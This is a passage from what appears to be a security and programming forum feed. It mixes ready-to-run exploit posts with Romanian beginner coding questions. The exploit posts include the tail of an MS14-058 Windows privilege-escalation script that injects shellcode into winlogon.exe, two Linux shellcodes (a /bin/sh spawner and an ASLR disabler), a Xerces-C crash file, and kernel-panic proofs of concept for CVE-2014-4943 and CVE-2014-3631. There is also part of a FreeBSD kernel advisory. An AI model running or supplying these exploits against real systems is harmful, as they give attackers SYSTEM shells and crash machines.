byref(lpBaseAddress), 0x0, byref(RegionSize), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: log("Failed to allocate tagWND object", "e") getLastError() sys.exit() # Copy input buffer to the fake tagWND nSize = 0x200 written = LPVOID(0) lpBaseAddress = QWORD(0x00000000fffffff0) dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff, lpBaseAddress, tagWND, nSize, byref(written)) if dwStatus == 0: log("Failed to copy the input buffer to the tagWND object", "e") getLastError() sys.exit() log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\ (written.value, lpBaseAddress.value)) return hRestrictedToken def injectShell(hPrivilegedToken): """Impersonate privileged token and inject shellcode into winlogon.exe""" while not EXPLOITED: time.sleep(0.1) log("-"*70) log("Impersonating the privileged token...") if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken): log("Could not impersonate the privileged token", "e") getLastError() sys.exit() # Get winlogon.exe pid pid = getpid("winlogon.exe") # Get a handle to the winlogon process we are injecting into hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not hProcess: log("Couldn't acquire a handle to PID: %s" % pid, "e") sys.exit() log("Obtained handle 0x%x for the winlogon.exe process" % hProcess) # Creating shellcode buffer to inject into the host process sh = create_string_buffer(SHELLCODE, len(SHELLCODE)) code_size = len(SHELLCODE) # Allocate some space for the shellcode (in the program memory) sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if not sh_address: log("Could not allocate shellcode in the remote process") getLastError() sys.exit() log("Allocated memory at address 0x%x" % sh_address) # Inject shellcode in to winlogon.exe process space written = LPVOID(0) shellcode = QWORD(sh_address) dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, byref(written)) if not dwStatus: log("Could not write shellcode into winlogon.exe", "e") getLastError() sys.exit() log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address)) # Now we create the remote thread and point its entry routine to be head of # our shellcode thread_id = HANDLE(0) if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, byref(thread_id)): log("Failed to inject shellcode into winlogon.exe") sys.exit(0) log("Remote thread 0x%08x created" % thread_id.value) log("Spawning SYSTEM shell...") # Kill python process to kill the window and avoid BSODs os.kill(os.getpid(), signal.SIGABRT) def getpid(procname): """ Get Process Pid by procname """ pid = None try: hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) pe32 = PROCESSENTRY32() pe32.dwSize = sizeof(PROCESSENTRY32) ret = kernel32.Process32First(hProcessSnap , byref(pe32)) while ret: if pe32.szExeFile == LPSTR(procname).value: pid = pe32.th32ProcessID ret = kernel32.Process32Next(hProcessSnap, byref(pe32)) kernel32.CloseHandle ( hProcessSnap ) except Exception, e: log(str(e), "e") if not pid: log("Could not find %s PID" % procname) sys.exit() return pid CALLBACK01 = WinFunc1(hook_callback_one) CALLBACK02 = WinFunc2(hook_callback_two) if __name__ == '__main__': log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com", "d") # Prepare the battlefield hPrivilegedToken = alloctagWND() # Start the injection thread t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,)) t1.daemon = False t1.start() # Trigger the vuln buildMenuAndTrigger() Source
  5. /* ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x86_64 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode section .text: 08048060 <_start>: 8048060: eb 17 jmp 8048079 08048062 : 8048062: 5e pop %esi 8048063: 31 d2 xor %edx,%edx 8048065: 52 push %edx 8048066: 56 push %esi 8048067: 89 e1 mov %esp,%ecx 8048069: 89 f3 mov %esi,%ebx 804806b: 31 c0 xor %eax,%eax 804806d: b0 0b mov $0xb,%al 804806f: cd 80 int $0x80 8048071: 31 db xor %ebx,%ebx 8048073: 31 c0 xor %eax,%eax 8048075: 40 inc %eax 8048076: cd 80 int $0x80 08048078 : 8048078: e8 e5 ff ff ff call 8048062 804807d: 2f das 804807e: 62 69 6e bound %ebp,0x6e(%ecx) 8048081: 2f das 8048082: 73 68 jae 80480ec */ #include <stdio.h> #include <string.h> #include <sys/mman.h> #define PAGE_SIZE 4096U char code[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); return 0; } Source
  6. /* #Title: Disable ASLR in Linux (less byte and more compact) #Length: 84 bytes #Date: 3 April 2015 #Author: Mohammad Reza Ramezani (mr.ramezani.edu@gmail.com - g+) #Tested On: kali-linux-1.0.6-i386 Thanks to stackoverflow section .text global _start _start: jmp short fileaddress shellcode: pop ebx xor eax,eax mov byte [ebx + 35],al push byte 5 pop eax push byte 2 pop ecx int 80h mov ebx, eax push byte 4 pop eax jmp short output cont: pop ecx push byte 2 pop edx int 80h push byte 1 pop eax xor ebx, ebx int 80h fileaddress: call shellcode db '/proc/sys/kernel/randomize_va_spaceX' output: call cont db '0',10 */ char shellcode[] = "\xeb\x22\x5b\x31\xc0\x88\x43\x23\x6a\x05\x58" "\x6a\x02\x59\xcd\x80\x89\xc3\x6a\x04\x58\xeb\x36\x59\x6a\x02\x5a \xcd\x80\x6a\x01\x58\x31\xdb\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x70 \x72\x6f\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c\x2f\x72 \x61\x6e\x64\x6f\x6d\x69\x7a\x65\x5f\x76\x61\x5f\x73\x70\x61\x63 \x65\x58\xe8\xc5\xff\xff\xff\x30\x0a"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Source
  7. # Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC # Date: 2015-05-03 # Exploit Author: beford # Vendor Homepage: http://xerces.apache.org/#xerces-c # Version: Versions prior to 3.1.2 # Tested on: Ubuntu 15.04 # CVE : CVE-2015-0252 Apache Xerces-C XML Parser Crashes on Malformed Input I believe this to be the same issue that was reported on CVE-2015-0252, posting this in case anyone is interested in reproducing it. Original advisory: https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt $ printf "\xff\xfe\x00\x00\x3c" > file.xml $ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package Segmentation fault $ ./DOMPrint ./file.xml # ASAN Enabled build ================================================================= ==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798 READ of size 1 at 0xb5d9d87c thread T0 #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer() xercesc/internal/XMLReader.cpp:1719 #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*, unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761 #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer() xercesc/internal/XMLReader.cpp:576 #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short const*) xercesc/internal/XMLReader.cpp:1223 #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short const*) xercesc/internal/ReaderMgr.hpp:385 #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool) xercesc/internal/XMLScanner.cpp:1608 #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog() xercesc/internal/XMLScanner.cpp:1244 #7 0x8d69220 in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:206 #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #12 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5) 0xb5d9d87c is located 0 bytes to the right of 163964-byte region [0xb5d75800,0xb5d9d87c) allocated by thread T0 here: #0 0xb72c3ae4 in operator new(unsigned int) (/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4) #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int) xercesc/internal/MemoryManagerImpl.cpp:40 #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int, xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68 #3 0x8daaaa7 in xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner2.cpp:1284 #4 0x8d6912a in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:198 #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #9 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) SUMMARY: AddressSanitizer: heap-buffer-overflow xercesc/internal/XMLReader.cpp:1719 xercesc_3_1::XMLReader::refreshRawBuffer() Source
  8. Salut am de facut un mini paint la facultate . Creati un editor grafic simplu, cu 3 butoane: de adaugare in fereastra a unui cerc, de adaugare a unui patrat si de stergere a unei forme (cerc sau patrat) -forma ce se poate selecta cu mouse-ul. /** * Created by on 4/6/2015. */ import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import java.awt.geom.Ellipse2D; import java.util.ArrayList; /** * Created by Angheluta on 4/6/2015. */ public class Main extends JFrame implements ActionListener,MouseListener{ JButton b1; JButton b2; JButton b3; int x,y,x1,y1; int x3,y3; String nume=" "; ArrayList<Dreptunghi> dreptunghis = new ArrayList<Dreptunghi>(); ArrayList<cerc> cercs =new ArrayList<cerc>(); public Main(){ b1 =new JButton("Dreptunghi"); b1.setBounds(10,20,100,20); b1.addActionListener(this); b2 =new JButton("Cerc"); b2.setBounds(120,20,100,20); b2.addActionListener(this); b3 =new JButton("Sterge"); b3.setBounds(220,20,100,20); b3.addActionListener(this); addMouseListener(this); add(b1); add(b2); add(b3); setLayout(null); setSize(600,600); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setVisible(true); } public void paint(Graphics g) { if(nume.equals("Dreptunghi")) { for (Dreptunghi d : dreptunghis) { d.paint(g); } } if(nume.equals("Cerc")) { for(cerc c : cercs) { c.paint(g); } } } @M2G
  9. hitme

    [Liste] c++

    Se considera o lista dublu inlantuita de studenti cu structura:cod matricol, nume, prenume si media. Sa se scrie programul in C pentru crearea, ordonarea dupa medie si afisarea listei studentilor folosindu-se cate o functie adecvata pentru fiecare operatie (creare, ordonare si listare). cum pot ordona lista, fara sa permut valorile campurilor? eu am incercat asa, ceva ideei? EDIT: am inteles ca se poate ordona cu std::sort, dar nu stiu cum #include <iostream> #include <stdlib.h> using namespace std; struct nod { int cod_matricol; char nume[20]; char prenume[20]; float media; nod *urmator, *anterior; }; nod *prim, *ultim,xx; // int yy=0; void creez() { nod *c; c=new nod; cout<<"Cod matricol : "; cin>>c->cod_matricol; cout<<"Nume : "; cin>>c->nume; cout<<"Prenume : "; cin>>c->prenume; cout<<"Media : "; cin>>c->media; if (!prim) { prim=c; prim->urmator=0; prim->anterior=0; ultim=prim; } else { ultim->urmator=c; c->anterior=ultim; ultim=c; ultim->urmator=0; } } void afisez() { nod *c; int i=1; c=prim; while (c) { cout<<"Inregistrarea "<<i++<<" : "<<endl; cout<<"Cod matricol : "<<c->cod_matricol<<endl; cout<<"Nume : "<<c->nume<<endl; cout<<"Prenume : "<<c->prenume<<endl; cout<<"Media : "<<c->media<<endl; cout<<endl; c=c->urmator; } } void ordonez() { nod *x,*y,*aux; int auxaux; aux=prim->urmator; for(x=prim;x!=0;x=x->urmator) for(y=aux;y!=0;y=y->urmator) if(x->media > y->media) { xx=*x; *x=*y; *y=xx; *prim=xx; } } int main() { int n,i; cout<<"Cate inregistrari? : "; cin>>n; for(i=1;i<=n;i++) creez(); system("cls"); afisez(); system("pause"); system("cls"); ordonez(); afisez(); system("pause"); return 0; }
  10. Sincer sunt incepator in algoritmica va rog sa ma ajutati la o problema . Se introduce un sir de numere de la tastatura pana la intalnirea valorii 0. Sa se afiseze : a)Maximul dintre numerele negative b)minimul dintre nr negative c)maximul dintre nr pozitive d)minimul dintre nr pozitive Ce am facut eu . Nu mi-a iesit la negative si nu am mai continuat si la celelalte. #include<iostream> #include<conio.h> using namespace std; int main(){ int n,max,min,max1,min1; cout <<"n=";cin>>n; while (n<0){ cout <<"n=";cin>>n;} if (n==0) cout <<"Nu exista nr negative"; else{ max=n; min=n; } while (n != 0){ if (n>max && n<0) max=n; if (n<min && n<0) min=n; cout <<"n=";cin>>n; } cout <<"Maximul este : "<<max<<endl; cout <<"Minimul este : "<<min; getch(); return 0; }
  11. Salutari. Am o intrebare referitoare la un subiect dat la SIMULAREA BAC INFORMATICA 2015 Subprogramul F este definit al?turat. Scrie?i ce valori au F(105,105) respectiv F(105,42). (6p.) int F(int x, int y) { if(x==y) return 1; else { if(x<y) { x=x+y; y=x-y; x=x-y; } return 1+F(x-y,y); } } Rezultatul meu a fost pentru F(105,105) : 1 si pentru F(105,42) : 4. In barem gasesc ca F(105,105): 0 De ce? Poftim codul transpuns in C++(CODEBLOCKS) #include <iostream> using namespace std; int F(int x, int y) { if(x==y) return 1; else {if(x<y) { x=x+y; y=x-y; x=x-y;} return 1+F(x-y,y);} } int main() { int x,y; cout<<"dati x"; cin>>x; cout<<"dati y"; cin>>y; cout<<F(x,y); } Rulat, imi da rezultatul 1 pentru F(105,105) si 4 pentru F(105,42)... Problema este ca in barem gasesc: "Se acord? numai 3p. dac? doar o valoare este conform cerin?ei. F(105,105)=0; F(105,42)=4."
  12. /* ---------------------------------------------------------------------------------------------------- * cve-2014-4943_poc.c * * The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure * differences between an l2tp socket and an inet socket. * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * I have tried to exploit this vulnerability and I am sure there is a way (or several) to elevate privileges. * There are some kernel structures that can be overwriten but I didn't manage to find the ultimate trick to at least point back to userland. * If seems guys at immunuty found a way using race condition. * * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-4943_poc cve-2014-4943_poc.c * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #include <netinet/ip.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/mman.h> #include <linux/net.h> #include <linux/udp.h> #include <linux/if.h> #include <linux/if_pppox.h> #include <linux/if_pppol2tp.h> /* ----------------------- Definitions ----------------------------*/ #define TARGET_KERNEL_MIN "3.2.0" #define TARGET_KERNEL_MAX "3.15.6" #define EXPLOIT_NAME "cve-2014-4943" /* ----------------------- functions ----------------------------*/ /** * It is possible to modify several parts of socket object using IP options frop UDP setsockopt * For this POC, IP_OPTIONS is the easiest way to panic kernel */ void modifyUDPvalues(int tunnel_fd) { /* Extract from kernel code which is vulnerable, here you can see that both udp_setsockopt and ip_setsockopt (on inet_sock) can be used to leverage vulnerability: int udp_setsockopt(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen) { if (level == SOL_UDP || level == SOL_UDPLITE) return udp_lib_setsockopt(sk, level, optname, optval, optlen, udp_push_pending_frames); return ip_setsockopt(sk, level, optname, optval, optlen); } */ int ip_options = 0x1; if (setsockopt(tunnel_fd, SOL_IP, IP_OPTIONS, &ip_options, 20) == -1) { perror("setsockopt (IP_OPTIONS)"); } } /** * DOS poc for cve_2014_4943 vulnerability */ int main() { int tunnel_fd; int tunnel_fd2; int udp_fd; printf("[cve_2014_4943]: Preparing to exploit.\n"); /* Create first L2TP socket */ tunnel_fd = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (tunnel_fd < 0) { perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)"); return -1; } /* Create second L2TP socket */ tunnel_fd2 = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (tunnel_fd2 < 0) { perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)"); return -1; } if ((udp_fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("cannot create socket"); return -1; } /* Connect LT2P socket */ struct sockaddr_pppol2tp sax; memset(&sax, 0, sizeof(sax)); sax.sa_family = AF_PPPOX; sax.sa_protocol = PX_PROTO_OL2TP; sax.pppol2tp.fd = udp_fd; /* fd of tunnel UDP socket */ sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);// peer_addr->sin_addr.s_addr; sax.pppol2tp.addr.sin_port = htons(1337);//peer_addr->sin_port; sax.pppol2tp.addr.sin_family = AF_INET; sax.pppol2tp.s_tunnel = 8;//tunnel_id; sax.pppol2tp.s_session = 0; /* special case: mgmt socket */ sax.pppol2tp.d_tunnel = 0; sax.pppol2tp.d_session = 0; /* special case: mgmt socket */ if(connect(tunnel_fd, (struct sockaddr *)&sax, sizeof(sax) ) < 0 ) { perror("connect failed"); } /* Connect LT2P socket */ struct sockaddr_pppol2tp sax2; memset(&sax, 0, sizeof(sax2)); sax2.sa_family = AF_PPPOX; sax2.sa_protocol = PX_PROTO_OL2TP; sax2.pppol2tp.s_tunnel = 8;//tunnel_id; sax2.pppol2tp.s_session = 1; sax2.pppol2tp.d_tunnel = 0; sax2.pppol2tp.d_session = 1; if(connect(tunnel_fd2, (struct sockaddr *)&sax2, sizeof(sax2) ) < 0 ) { perror("connect failed"); } /* * Entering critical part */ printf("[cve_2014_4943]: Panic!\n"); //modifyUDPvalues(tunnel_fd); modifyUDPvalues(tunnel_fd2); // close opened socket puts("\n [+] Closing sockets..."); close(tunnel_fd); close(tunnel_fd2); exit(0); } Source
  13. /* ---------------------------------------------------------------------------------------------------- * cve-2014-3631_poc.c * * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash) * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation. * * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c -lkeyutils * * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <inttypes.h> #include <keyutils.h> #include <fcntl.h> #define TARGET_KERNEL_MIN "3.13.0" #define TARGET_KERNEL_MAX "3.16.2" #define EXPLOIT_NAME "cve-2014-3631" #define EXPLOIT_TYPE DOS /* ----------------------- functions ----------------------------*/ /** * Poc for cve_2014_3631 vulnerability */ int main() { key_serial_t currentKey = 0; key_serial_t topKey = 0; int i = 0; int fp; char kname[16]={0}; char gc_delay[16] = {0}; int delay =0; printf("[cve_2014_3631]: Preparing to exploit.\n"); // fetch garbage collector value.. fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY); if(fp == -1) { printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n"); delay = 300; } else { read(fp,gc_delay,sizeof(gc_delay-1)); delay = atoi(gc_delay); close(fp); } // Add top key topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING); if(topKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } // Add 18 keys to top key for(i=0; i< 18; i++) { memset(kname,00,sizeof(kname)); memcpy(kname,"Lvl2K_",strlen("Lvl2K_")); sprintf(kname+strlen("Lvl2K_"),"%d",i); currentKey = add_key("keyring",kname,NULL,0,topKey); if(currentKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } } /* Entering exploit critical code */ printf("[cve_2014_3631]: Exploit!\n"); // Set timeout and wait for garbage collector keyctl_set_timeout(currentKey, 2); // Wait for garbage collector printf("[cve_2014_3631]: Exploit triggered, system will panic in %d seconds..\n",delay); return 0; } Source
  14. mastervlad

    Clase

    Am facut o clasa vector in c++ si am incercat sa definesc operatia de adunare pe componente, dar imi da o eroare. class vector{ private: int *p; int n; public: vector(){}; void add(vector other); vector(int size); ~vector(){delete [] p;} vector (const vector &v); int operator[](int i) {return p[i];} vector operator=(const vector&a); }; vector vector::add(vector v){ vector vi; n=v.n; for (int i=0;i<n;i++) vi.p[i]=p[i]+v.p[i]; return vi; } Care ar putea fi problema? Mersi mult.
  15. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ FreeBSD Kernel Multiple Vulnerabilities 1. *Advisory Information* Title: FreeBSD Kernel Multiple Vulnerabilities Advisory ID: CORE-2015-0003 Advisory URL: http://www.coresecurity.com/content/freebsd-kernel-multiple-vulnerabilities Date published: 2015-01-27 Date of last update: 2015-01-27 Vendors contacted: FreeBSD Release mode: Coordinated release 2. *Vulnerability Information* Class: Unsigned to Signed Conversion Error [CWE-196], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] Impact: Code execution, Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2014-0998, CVE-2014-8612, CVE-2014-8612 3. *Vulnerability Description* FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices. Multiple vulnerabilities have been found in the FreeBSD kernel code that implements the vt console driver (previously known as Newcons) and the code that implements SCTP sockets. These vulnerabilities could allow local unprivileged attackers to disclose kernel memory containing sensitive information, crash the system, and execute arbitrary code with superuser privileges. 4. *Vulnerable packages* . FreeBSD 10.1-RELEASE. Other versions may be affected too but they were no checked. 5. *Non-vulnerable packages* . FreeBSD 10.1-RELENG. 6. *Vendor Information, Solutions and Workarounds* The FreeBSD team has released patches for the reported vulnerabilities. You should upgrade to FreeBSD 10.1-RELENG or one of the following releases: . stable/10, 10.1-STABLE . releng/10.1, 10.1-RELEASE-p5 . releng/10.0, 10.0-RELEASE-p17 . stable/9, 9.3-STABLE . releng/9.3, 9.3-RELEASE-p9 . stable/8, 8.4-STABLE . releng/8.4, 8.4-RELEASE-p23 The vendor publish a security Advisory that can be accessed here[6]. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability* [CVE-2014-0998] FreeBSD 10.1-RELEASE added[1] the 'vt(4)'[2] console driver (previously known as Newcons[3]). This new console driver can be enabled by adding the line 'kern.vty=vt' to the '/boot/loader.conf' file and then rebooting the system. The vt console driver is prone to a sign conversion error when handling the 'VT_WAITACTIVE' ioctl message, which can be ultimately leveraged by a local unprivileged attacker to make the kernel access an array outside of its boundaries. The vt console driver provides multiple virtual terminals, which are mapped to the '/dev/ttyv*' device nodes. A user can send messages to the vt driver by opening the '/dev/ttyv*' device node belonging to his virtual terminal and then using the 'ioctl' system call. The function 'vtterm_ioctl' in 'sys/dev/vt/vt_core.c' handles ioctl messages sent to the vt driver. One of the supported messages is called 'VT_WAITACTIVE': /----- static int vtterm_ioctl(struct terminal *tm, u_long cmd, caddr_t data, struct thread *td) { int error, i, s; [...] switch (cmd) { [...] case VT_WAITACTIVE: error = 0; i = *(unsigned int *)data; if (i > VT_MAXWINDOWS) return (EINVAL); if (i != 0) vw = vd->vd_windows[i - 1]; [...] -----/ As shown above, when handling the 'VT_WAITACTIVE' ioctl message, the 'data' input buffer (which is fully controlled by the local user) is casted as '(unsigned int *)' in order to read an 'unsigned int' from the input data; however, the read value is stored in the 'i' variable, which has *signed* type 'int'. This sign conversion error will make possible for a local attacker to bypass the subsequent boundary check that tries to ensure that 'i' is not greater than 'VT_MAXWINDOWS' before using it as an index to access the 'vd->vd_windows' array. This flaw can be leveraged by a local attacker to make the kernel access the 'vd->vd_windows' array outside of its boundaries. The following disassembly snippet represents the vulnerable code in the FreeBSD kernel binary ('/boot/kernel/kernel'): /----- vtterm_ioctl+1306 loc_C09B2506: ; CODE XREF: vtterm_ioctl+D6Cj vtterm_ioctl+1306 cmp esi, 20047606h ; case VT_WAITACTIVE: vtterm_ioctl+130C mov ecx, edx ; ecx = vd->vd_windows vtterm_ioctl+130E mov eax, ebx vtterm_ioctl+1310 jnz loc_C09B275B vtterm_ioctl+1316 mov eax, [eax] ; i = *(unsigned int *)data; vtterm_ioctl+1318 cmp eax, 0Ch ; if (i > VT_MAXWINDOWS)... vtterm_ioctl+131B mov edi, 16h vtterm_ioctl+1320 jg loc_C09B2760 ; *** signed comparison! vtterm_ioctl+1326 test eax, eax ; if (i != 0)... vtterm_ioctl+1328 jz short loc_C09B2531 vtterm_ioctl+132A mov eax, [ecx+eax*4-4] ; **** vw = vd->vd_windows[i - 1]; ---> access vd->vd_windows outside of its boundaries vtterm_ioctl+132E mov [ebp+var_30], eax -----/ 8.2. *FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability* [CVE-2014-8612] FreeBSD implements the Stream Control Transmission Protocol (SCTP).[4]. A userland application can use the 'getsockopt/setsockopt' system calls in order to manipulate the options associated with an SCTP socket. The FreeBSD kernel is prone to a memory corruption vulnerability when setting the 'SCTP_SS_VALUE' SCTP socket option via the 'setsockopt' system call. This vulnerability can be leveraged by a local unprivileged attacker to corrupt kernel memory with an arbitrary 16-bit value. The handling of the 'setsockopt' system call at the SCTP level is performed by the function 'sctp_setopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_setopt(struct socket *so, int optname, void *optval, size_t optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_set_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], av->stream_value) < 0) { -----/ As shown above, when handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local user), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), then the 'stcb->asoc.ss_functions.sctp_ss_set_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. However, note that the memory address calculated using the untrusted index is not dereferenced yet; just the calculated address is passed as an argument to the function, so there is still no memory access at this point. 'stcb->asoc.ss_functions' has type 'struct sctp_ss_functions', which is a struct defined in the file 'sys/netinet/sctp_structs.h' containing several function pointers. One of its members is 'sctp_ss_set_value', which is the one being called when handling the 'SCTP_SS_VALUE' socket option: /----- /* * RS - Structure to hold function pointers to the functions responsible * for stream scheduling. */ struct sctp_ss_functions { void (*sctp_ss_init) (struct sctp_tcb *stcb, struct sctp_association *asoc, int holds_lock); void (*sctp_ss_clear) (struct sctp_tcb *stcb, struct sctp_association *asoc, int clear_values, int holds_lock); void (*sctp_ss_init_stream) (struct sctp_stream_out *strq, struct sctp_stream_out *with_strq); void (*sctp_ss_add_to_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); int (*sctp_ss_is_empty) (struct sctp_tcb *stcb, struct sctp_association *asoc); void (*sctp_ss_remove_from_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); struct sctp_stream_out *(*sctp_ss_select_stream) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); void (*sctp_ss_scheduled) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc, struct sctp_stream_out *strq, int moved_how_much); void (*sctp_ss_packet_done) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); int (*sctp_ss_get_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t * value); int (*sctp_ss_set_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value); }; -----/ The file 